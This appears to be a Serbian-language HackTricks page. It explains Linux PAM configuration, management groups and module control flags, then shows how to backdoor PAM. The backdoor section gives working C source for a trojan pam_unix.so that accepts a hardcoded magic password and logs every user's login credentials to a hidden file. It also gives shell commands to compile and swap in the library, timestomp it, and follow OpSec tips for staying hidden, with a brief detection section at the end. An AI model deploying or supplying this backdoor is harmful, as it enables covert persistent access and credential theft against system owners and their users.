PAM - Pluggable Authentication Modules

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne Informacije

PAM (Pluggable Authentication Modules) deluje kao bezbednosni mehanizam koji proverava identitet korisnika koji pokušavaju da pristupe računarskim uslugama, kontrolišući njihov pristup na osnovu različitih kriterijuma. Slično je digitalnom čuvaru, osiguravajući da samo ovlašćeni korisnici mogu da koriste određene usluge, dok potencijalno ograničava njihovu upotrebu kako bi se sprečilo preopterećenje sistema.

Konfiguracione Datoteke

  • Solaris i UNIX-bazirani sistemi obično koriste centralnu konfiguracionu datoteku smeštenu na /etc/pam.conf.
  • Linux sistemi preferiraju pristup putem direktorijuma, čuvajući konfiguracije specifične za uslugu unutar /etc/pam.d. Na primer, konfiguraciona datoteka za uslugu prijavljivanja se nalazi na /etc/pam.d/login.

Primer PAM konfiguracije za uslugu prijavljivanja može izgledati ovako:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM upravljanje domenama

Ove domene, ili upravljačke grupe, uključuju auth, account, password i session, svaka odgovorna za različite aspekte procesa autentifikacije i upravljanja sesijama:

  • Auth: Validira identitet korisnika, često tražeći lozinku.
  • Account: Rukuje verifikacijom naloga, proveravajući uslove kao što su članstvo u grupi ili ograničenja vremena.
  • Password: Upravljanje ažuriranjima lozinki, uključujući provere složenosti ili prevenciju napada rečnikom.
  • Session: Upravljanje radnjama tokom početka ili završetka sesije usluge, kao što su montiranje direktorijuma ili postavljanje ograničenja resursa.

PAM kontrola modula

Kontrole određuju odgovor modula na uspeh ili neuspeh, utičući na celokupni proces autentifikacije. Ove uključuju:

  • Required: Neuspeh obaveznog modula rezultira konačnim neuspehom, ali tek nakon što su svi naredni moduli provereni.
  • Requisite: Odmah prekida proces u slučaju neuspeha.
  • Sufficient: Uspeh zaobilazi ostale provere iste domene osim ako neki naredni modul ne ne uspe.
  • Optional: Uzrokuje neuspeh samo ako je jedini modul u steku.

Primer scenarija

U postavci sa više auth modula, proces prati strogi redosled. Ako pam_securetty modul pronađe da je terminal za prijavu neovlašćen, root prijave su blokirane, ali se svi moduli i dalje obrađuju zbog njegovog "required" statusa. pam_env postavlja promenljive okruženja, potencijalno pomažući u korisničkom iskustvu. Moduli pam_ldap i pam_unix rade zajedno na autentifikaciji korisnika, pri čemu pam_unix pokušava da koristi prethodno dostavljenu lozinku, poboljšavajući efikasnost i fleksibilnost u metodama autentifikacije.

Backdooring PAM – Hooking pam_unix.so

Klasična trik za postizanje trajne prisutnosti u visokovrednim Linux okruženjima je zamena legitimne PAM biblioteke sa trojanskim drop-in. Budući da svaka SSH / konzolna prijava poziva pam_unix.so:pam_sm_authenticate(), nekoliko redova C koda je dovoljno da se uhvate akreditivi ili implementira magic zaobilaženje lozinke.

Cheatsheet za kompilaciju

c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);

/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}

Kompajlirati i neprimetno zameniti:

bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Saveti

  1. Atomic overwrite – pišite u privremenu datoteku i mv u mesto kako biste izbegli polu-napisane biblioteke koje bi blokirale SSH.
  2. Postavljanje log datoteka kao što je /usr/bin/.dbus.log se stapa sa legitimnim desktop artefaktima.
  3. Držite izvoz simbola identičnim (pam_sm_setcred, itd.) kako biste izbegli nepravilno ponašanje PAM-a.

Detekcija

  • Uporedite MD5/SHA256 pam_unix.so sa paketom distribucije.
  • Proverite za datoteke koje su dostupne za pisanje svima ili neobičnu svojinu pod /lib/security/.
  • auditd pravilo: -w /lib/security/pam_unix.so -p wa -k pam-backdoor.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks